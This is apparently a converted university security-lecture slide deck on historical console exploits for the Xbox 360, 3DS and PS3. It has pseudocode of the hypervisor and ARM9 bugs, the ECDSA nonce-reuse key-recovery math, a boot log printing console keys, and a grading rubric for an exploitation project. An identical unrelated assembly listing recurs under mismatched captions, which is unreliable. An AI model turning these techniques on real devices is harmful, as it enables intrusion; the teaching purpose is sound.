- Evolving entertainment platforms
  - Play games, stream media, browse the web
- 100% consistent machine for developers
  - Don’t have to account for different specs (eg. PC’s)
- Enforces DRM much better than PC’s can
  - It’s a controlled platform that only runs code as blessed by Sony, Microsoft, Nintendo

Xbox 360 – Nov. 2005

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Xbox 360 – Nov. 2005

- Security Perspective
  - Only runs signed code or executables
  - Rigorous chain of trust, secure bootstrapping
  - Encrypted runtime memory
  - eFuses to enforce updates (these are awesome)
  - NX/DEP
  - No ASLR

KING KONG EXPLOIT

updates don’t always patch bugs, sometimes they introduce them

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                cmp     eax, ebx
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

King Kong Exploit – Dec. 2006

- Integer based bug, resulting in code execution at the Hypervisor context
  - Complete system control

- The bug leveraged by the King Kong Exploit was INTRODUCED in kernel version 4532, and patched two updates later in v4552
  - For reference, the Xbox 360 shipped on v1888

About the Xbox 360 & Games

- All executables (.XEX's) are signed by Microsoft which the system verifies to prevent tampering with code
- Data assets such as textures, models, shaders, and audio as used by games are NOT signed!
  - Find bugs in game asset parsers

Stage One: King Kong's Role

- A maliciously crafted unsigned shader file parsed by the signed King Kong game XEX, can lead to unprivileged code execution on the system

- King Kong was one of many possible memory corruption vectors that could have been used to get basic code exec

About the Xbox 360 Hypervisor

- A small Hypervisor (Hv) sits next to the kernel, near the top of memory
- The Hv handles some crypto keys, low level IO, memory encryption/decryption operations and more
- If you can take over the Hv, you have access to physmem and the highest privilege of execution

Stage Two: Hyper Escalation

- The PPC instruction ‘sc’ is used to make system calls on the Xbox 360, the Hv handles these calls as they are made

- Unfortunately, along came a bug in the syscall handler):

random ppc ---------->

```
ext:826B9AF8 # =============== S U B R O U T I N E =======================================
ext:826B9AF8
ext:826B9AF8
ext:826B9AF8 # int __cdecl SleepEx(int intervalMs, int altertable)
ext:826B9AF8 SleepEx:                                   # CODE XREF: sub_826B2EA0+10↑p
ext:826B9AF8                                            # sub_826B2ED8+4↑j
ext:826B9AF8
ext:826B9AF8 .set intervalNs, -0x30
ext:826B9AF8
ext:826B9AF8                 mfspr   %r12, LR
ext:826B9AFC                 bl      __savegprlr_29
ext:826B9B00                 stwu    %sp, -0x80(%sp)
ext:826B9B04                 mr      %r29, %r4
ext:826B9B08                 cmpwi   cr6, %r3, -1    # INFINITE
ext:826B9B0C                 bne     cr6, convert_ms_to_ns
ext:826B9B10                 li      %r11, 0         # -1 -> 0 for KeDelayExecutionT
ext:826B9B14                 b       valid_value
ext:826B9B18 # ---------------------------------------------------------------------------
ext:826B9B18
ext:826B9B18 convert_ms_to_ns:                          # CODE XREF: SleepEx+14↑j
ext:826B9B18                 rldicl  %r10, %r3, 0,32 # ms to units of 100ns
ext:826B9B1C                 addi    %r11, %sp, 0x80+intervalNs
ext:826B9B20                 mulli   %r10, %r10, -0x2710
ext:826B9B24                 std     %r10, 0x80+intervalNs(%sp)
ext:826B9B28
ext:826B9B28 valid_value:                               # CODE XREF: SleepEx+1C↑j
ext:826B9B28                 mr      %r30, %r11
ext:826B9B2C                 cmplwi  cr6, %r11, 0
ext:826B9B30                 bne     cr6, loc_826B9B44 # if intervalMs=0, skip
ext:826B9B34                 stw     %r11, 0x80+intervalNs+4(%sp)
ext:826B9B38                 lis     %r11, -0x8000   # set msb=1 for relative time
ext:826B9B3C                 addi    %r30, %sp, 0x80+intervalNs
ext:826B9B40                 stw     %r11, 0x80+intervalNs(%sp)
ext:826B9B44
ext:826B9B44 loc_826B9B44:                              # CODE XREF: SleepEx+38↑j
ext:826B9B44                 clrlwi  %r31, %r29, 24
ext:826B9B48
ext:826B9B48 delay_loop:                                # CODE XREF: SleepEx+6C↓j
ext:826B9B48                 mr      %r5, %r30       # interval
ext:826B9B4C                 mr      %r4, %r29       # alertable
ext:826B9B50                 li      %r3, 1          # waitMode
ext:826B9B54                 bl      KeDelayExecutionThread
ext:826B9B58                 cmplwi  cr6, %r31, 0
ext:826B9B5C                 beq     cr6, successful
ext:826B9B60                 cmpwi   cr6, %r3, 0x101 # STATUS_ALERTED
ext:826B9B64                 beq     cr6, delay_loop
ext:826B9B68
ext:826B9B68 successful:                                # CODE XREF: SleepEx+64↑j
```

Pseudocode of the Hv Bug

```
int syscall_handler(uint64_t syscall_num, ...)
{

    /* check for invalid syscall */
    if((uint32_t)syscall_num > 0x61)
        return 0;

    /* call the respective syscall func */
    syscall_table[syscall_num](...);
    ...
```

The Oops

- Only the lower 32 bits of the syscall number are sanity checked
- The whole 64 bit number is used in address calculation

```
syscall_table[syscall_num](...);
```

Arbitrary jump into userland memory/code at the HV Context

Game Over

```
SATA device at ea001300
  * Serial:      WD-WX81AA1W1246
  * Firmware: 01.01A01
  * Model: WDC WD10JPVT-00A1YT0
  * Addressing mode: 2
  * #cylinders: 16383
  * #heads: 16
  * #sectors: 1953525168
registered new device: sda
 * trying to make sense of sda, let's assume it's fat
 * sata dvd init
SATA device at ea001200
ATAPI inquiry model: PLDS    DG-16D2S
registered new device: dvd
 * trying to make sense of dvd, let's assume it's iso9660
 * CPU PVR: 00710800
 * FUSES - write them down and keep them safe:
fuseset 00: c0ffffffffffffff
fuseset 01: 0f0f0f0f0f0ff0f0
fuseset 02: f000000000000000
fuseset 03: 26d9359992639642
fuseset 04: 26d9359992639642
fuseset 05: 151dfea8df5c5cc4
fuseset 06: 151dfea8df5c5cc4
fuseset 07: f000000000000000
fuseset 08: 0000000000000000
fuseset 09: 0000000000000000
fuseset 10: 0000000000000000
fuseset 11: 0000000000000000

 * your cpu key: 26D9359992639642151DFEA8DF5C5CC4
 * your dvd key: 30615DB9B4C26B443CD1CBA5FC005F60

 * network config: 192.168.1.99 / 255.255.255.0
              MAC: 7CED8DABBE4E


 * Looking for xenon.elf or vmlinux on USB/CD/DVD or user-defined file via TFTP...

Trying uda:/vmlinux...
```

XBOX 360 HARDWARE ATTACKS

Straying from binary exploitation, but still interesting

SMC / JTAG Hack – 2007-2009

- Uses the SMC and JTAG to trigger a DMA overwrite instantly at bootup rather than having to load a game such a King Kong
- Cat and mouse for a few years, allowing hackers to boot into downgraded, exploitable kernels (eg v4532)
- Eventually Patched by MS when they decided to rework the boot process from the 2BL and up

SMC / JTAG Hack

Reset Glitch Hack (RGH) – Aug. 2011

- In the 2bl there's some hash checks that expect a 0 to be returned for a good hash, or 1 for a hash mismatch (fail)
- Sending a specific reset signal down a pin on the CPU clears the CPU registers
- Reset the registers as the hash check returns

Xbox 360 Reset Glitch Hack (RGH)

Nintendo 3DS – Feb. 2011

Nintendo 3DS – Feb. 2011

- Security Perspective
  - Very tightly sealed bootrom, hardware disabled
  - Only runs signed code or executables
  - Hardware based keyscrambler for crypto keys
  - NX/DEP (Only used on the ARM11 Core)
  - Runtime memory is not encrypted
  - Has eFuses, not really used
  - No ASLR

Nintendo 3DS Architecture

Nintendo 3DS Architecture

- Application Processor (ARM11) – 'high level'
  - Runs your games, apps, anything visual
- Security Processor (ARM9) – 'low level'
  - Crypto, system IO, talks to hardware, like a Hv
- PXI
  - Pipeline for the cores to talk to each other

PWNING OVER THE PXI

Owning the SysCore through the PXI

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

VerifyRsaSha256() – Jun. 2013

- Straight stack smash bug, results in code execution on the Security Processor (ARM9)
  - Complete system control
- Present from firmware version 1.0.0 – 4.5.0
- Bug discovered in 2012

Stage One: ARM11 Code Exec

- A stack smash exists in the DS Profile fields in the native settings application on all 3DS's at the time. No need for any games!

- This is a straight stack smash that will get us control, but there is DEP on the ARM11 so you must ROP

State of Control

We have at least basic code exec through ROP on the ARM11

Normal PXI Requests

Normal PXI Requests

Normal PXI Requests

TAKING OVER THE ARM9

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Malicious PXI Requests

We have at least basic code exec through ROP on the ARM11

Malicious PXI Requests

Exploit PXI handlers on the ARM9 side!

We have at least basic code exec through ROP on the ARM11

Pseudocode of the ARM9 Bug

```
int ps_VerifyRsaSha256(RSA_SIG * sig)
{
    RSA_SIG localsig; // 0x208 byte sig object on stack
    memset(localsig, 0, sizeof(RSA_SIG));

    /* copy the RSA signature into a local sig object */
    memcpy(localsig.sigbuf, sig->sigbuf, sig->sigsize);

    ...

    return result;
}
```

Pseudocode of the ARM9 Bug

```
int ps_VerifyRsaSha256(RSA_SIG * sig)
{
    RSA_SIG localsig; // 0x208 byte sig object on stack
    memset(localsig, 0, sizeof(RSA_SIG));

    /* copy the RSA signature into a local sig object */
    memcpy(localsig.sigbuf, sig->sigbuf, sig->sigsize);

    ...

    return result;
}
```

Attacker Controlled Data

VerifyRsaSha256() – Jun. 2013

- Bug is basically a memcpy with user controlled data, and a user specified size
- No DEP or ASLR on the ARM9, simply overwrite return address and jump onto your buffer! (:
- With control of the ARM9 you can do anything
  - Load a custom firmware & soft reboot the system

GAME OVER

Owning the 3DS

- Code exec on the ARM11 is easy
  - Tons of crappy vulnerable games everywhere, less exciting exploits exist to do this
- Owning the ARM9 is much harder
  - Limited attack surface with little user input
  - Owning the ARM9 is what separates the boys from the men

PlayStation 3 – Nov. 2006

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

3066:                           ; CODE XREF: sub_312FD8
                                ; sub_312FD8+5$
push    0Dh
call    sub_31411B

306D:                           ; CODE XREF: sub_312FD8
                                ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C

loc_31307D:                     ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                     ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

PlayStation 3 – Nov. 2006

- Security Perspective
  - FreeBSD Based OS
  - Only runs signed code or executables
  - Rigorous chain of trust, secure bootstrapping
  - Cell Architecture
    - Isolates cores from each other, HV
    - Dedicated System / Security Cell
  - Encrypted runtime memory
  - Encrypted HDD
  - eFuses
  - NX/DEP
  - No ASLR

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Cell Broadband Engine Processor
Rambus XDRAM™ Interface
Memory Controller
Power Processor Element
L2 (512KB)
Test & Debug Logic
SPE
SPE
SPE
SPE
SPE
SPE
SPE
SPE
Element Interconnect Bus
I/O Controller
Rambus FlexIO™
IBM

Chain of Trust

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

Mittwoch, 29. Dezember 2010

GeoHot Owns PS3 Hv – Jan. 2010

- Through OtherOS (Linux on PS3) and chip glitching, GeoHot owns the PS3 Hypervisor
- Glitching 'creates' a use after free scenario in the Hypervisor that is then exploited to get code exec
- Dumps of PS3 HV & kernel make their way public

Chain of Trust

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

GeoHot

More Privileged

Mittwoch, 29. Dezember 2010

Sony Disables OtherOS – Mar. 2010

PS3 Jailbreak – Aug. 2010

- With the PS3 Kernel (LV2) dumped, heap overflow found in USB handling during startup while the system searches for a service jig
- The main bug is an overflow in long device descriptors that leads to memory corruption on the heap
- Results in control of the LV2

PS3 Jailbreak – Aug. 2010

PS3 Jailbreak – Aug. 2010

- Heap overflow setup and triggered through a <u>USB hub</u> (oops) and six USB's

- It's a bit like musical chairs, plugging and unplugging a number of USB's to malloc/free stuff – everyone just emulates this process with a single USB

Chain of Trust

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

Mittwoch, 29. Dezember 2010

PS3 Jailbreak

More Privileged

PS3 ECDSA KEY EXTRACTION

Largest console break of this generation stems from crypto flaw

PS3 ECDSA Key Extraction – Jan. 2011

- Executables running on the PS3 are modified ELF's known as SELF's
- Signed by Sony's ECDSA Key, encrypted by the associated Lv(0,1,2) keys
  - Elliptic Curve Digital Signature Algorithm

SELF

ELF

PS3 ECDSA Key Extraction – Jan. 2011

- With control of the LV2, you can make crypto requests to the security SPE and use it as a black box

- An egregious crypto implementation flaw is uncovered by fail0verflow regarding Sony's ECDSA signatures

Elliptic Curve Cryptography

these might look familiar

Const Instead of Nonce

A signature is a pair of numbers R, S computed by the signer as

$$R = (mG)_x$$

$$S = \frac{e + kR}{m}.$$

It is imperative to have a random m for every signature: from a pair of signatures that use the same m, we can compute m and k.

Const Instead of Nonce

$$R = (mG)_x \qquad R = (mG)_x$$

$$S_1 = \frac{e_1 + kR}{m} \qquad S_2 = \frac{e_2 + kR}{m}$$

When m is identical for two signatures, so is R, and

$$S_1 - S_2 = \frac{e_1 - e_2}{m}$$

$$m = \frac{e_1 - e_2}{S_1 - S_2}$$

$$k = \frac{mS_i - e_i}{R} \quad \left[= \frac{e_1 S_2 - e_2 S_1}{R(S_1 - S_2)}\right].$$

Effects of Missteps

- With only TWO signatures from the Crypto SPE, you can compute Sony's Private ECDSA Key
- With the ECDSA Key, the floodgates are opened
  - You can sign anything as Sony
  - This key is embedded in hardware

metldr Owned

- Geohot releases metldr decryption keys

Chain of Trust

GeoHot

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

Mittwoch, 29. Dezember 2010

More Privileged

Sony Nukes metldr

Sony Sues Geohot – Jan. 2011

Chain of Trust

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

OWNED

More Privileged

Mittwoch, 29. Dezember 2010

Owning the lv0

- metldr is gone, so you need to own the lv0
- lv0 blobs can be signed, but they're encrypted and we don't have the keys to decrypt them
- What do you do?????

Owning the lv0

- metldr is gone, so you need to own the lv0
- lv0 blobs can be signed, but they're encrypted and we don't have the keys to decrypt them
- What do you do?????
  - Sign random data blobs, and hope the instruction at the entry point 'decrypt' to a jmp/call to code that you control

lv0 Owned – Oct. 2012

- Trying randomly signed blobs eventually works and execution is achieved at level of lv0

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+var_84], eax
call    sub_314864
test    eax, eax
jz      short loc_313066
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Chain of Trust

You are Here

Name	Processor / Mode	updateable	revocable*	usage
bootldr	SPE	✖	✖	boot lv0
lv0	PPE HV	✔	✖	boot lv1
metldr	SPE	✖	✖	run *ldr
lv1ldr	SPE	✔	✖	decrypt lv1
lv1	PPE HV	✔	✖	hypervisor
isoldr	SPE	✔	✖	decrypt modules
sc_iso	SPE	✔	✔	
...				
lv2ldr	SPE	✔	✖	decrypt lv2
lv2	PPE SV	✔	✔	kernel
appldr	SPE	✔	✔	decrypt games
some game	PPE PS	✔	✔	:-)

*as per Sony's specification

Mittwoch, 29. Dezember 2010

More Privileged

lv0 Owned – Oct. 2012

- Decryption keys are retrieved as lv0. Now you can create meaningful lv0 blobs, encrypt them, and sign them
- bootldr also exploited and dumped for fun
  - Not updateable anyway, so it doesn't matter much

GAME OVER
Thank you for playing

PS3 Aftermath

- Sony drops lawsuit against Geohot
  - Must never hack Sony products again
- No more updateable seeds of trust exist on the PS3 that Sony can utilize
  - PS3 totally broken

Lecture Overview

- Secure Systems & Patch Sets
  - OpenBSD
  - SELinux
  - Grsecurity
- Owning Game Consoles
  - Xbox 360
  - Nintendo 3DS
  - PS3
- Current Generation

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

CURRENT GENERATION

A peek at the current generation of consoles

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Current Generation

- Xbox One
  - I did some reversing over winter break (-:
- PS4
  - I don’t know as much about, sorry):

Xbox One – Nov. 2013

Xbox One OS

- Ditches the 360's custom operating system
  - Xbox OS (XOS) is forked from Windows 8(ish)
- Spins up minimal windows VM instances to run your games, apps, etc
- Windows 8/8.1 core OS bugs likely apply!

Xbox Virtual Disks

- Starting out, most things are in AES128 encrypted containers known as XVDs & XVCs
- Just like an encrypted virtual disk or zip, contains .exe's, assets, directory structure, etc
- A lot of the security elements of the 360's .XEX's were inherited by the XVDs/XVCs

Xbox One PSP

- AMD snuck an ARM Platform Security Processor into the Xbox One CPU
- ? This was never formally announced ?
  - AMD only ever announced they were working on this technology, not that it was released ……

Xbox One PSP

- Nobody can decrypt system files, updates, without the ‘green’ AES256 ODK
- Host OS queries the PSP for the green AES256 ODK key, PSP passes it to the Host OS for XVD decryption
  - It would be nice to get this key)-:

Xbox One Host OS

- Owning the system means owning the Host OS
- You can't effectively comb the Host OS for bugs if you can't decrypt its system files
- You need to own the Host OS to get access to the keys used to decrypt it
  - Chicken & the egg problem

PS4 – Nov. 2013

PS4 Details

- I really don't know as much about the PS4 OS or its security features
- I do know that it has a very similar AMD CPU as the Xbox One
  - An ARM PSP is also present in the CPU

References, Readings, Talks

- https://www.youtube.com/watch?v=82vf0JQS1Sk
- http://www.securityfocus.com/archive/1/461489
- https://www.youtube.com/watch?v=XtDTNnEvlf8
- https://www.youtube.com/watch?v=uxjpmc8ZIxM
- http://beta.ivc.no/wiki/index.php/Xbox_360_King_Kong_Shader_Exploit
- http://free60.org/wiki/SMC_Hack
- http://pastebin.com/gDLyZ6DU
- http://www.ibm.com/developerworks/power/library/pa-cellsecurity/
- http://www.eurasia.nu/wiki/index.php/PS3_Glitch_Hack
- http://rdist.root.org/2010/01/27/how-the-ps3-hypervisor-was-hacked/
- https://www.youtube.com/watch?v=4loZGYqaZ7I
- http://www.ps3news.com/PS3-Hacks/Fail0verflow-27C3-PS3-Exploit-Hacker-Conference-2010-Highlights/
- http://www.ps3news.com/PS3-Dev/ps-jailbreak-ps3-exploit-reverse-engineering-is-detailed/
- http://www.ps3devwiki.com/ps3/Boot_Order
- http://3dbrew.org/

Project One Grading Rubric

Due Date: 1:59pm Tuesday, March 31st

____ / 10pts - **Overview**
- Brief overview of the project, tell us about tw33tchainz
  - What are some of its features?

____ / 10pts - **Password Hashing**
- What explicit operations does the hash algorithm do?
- How can it be reversed to get secret_pass?

____ / 15pts - **Logging in as Admin**
- Identifies the avenue to login as admin
- Can login as admin (gets 'Authenticated!' message)

____ / 10pts - **Vulnerability Analysis**
- Identifies the explicit vulnerability that can be used to get control of EIP
- Can reach the codepath to exploit said vulnerability

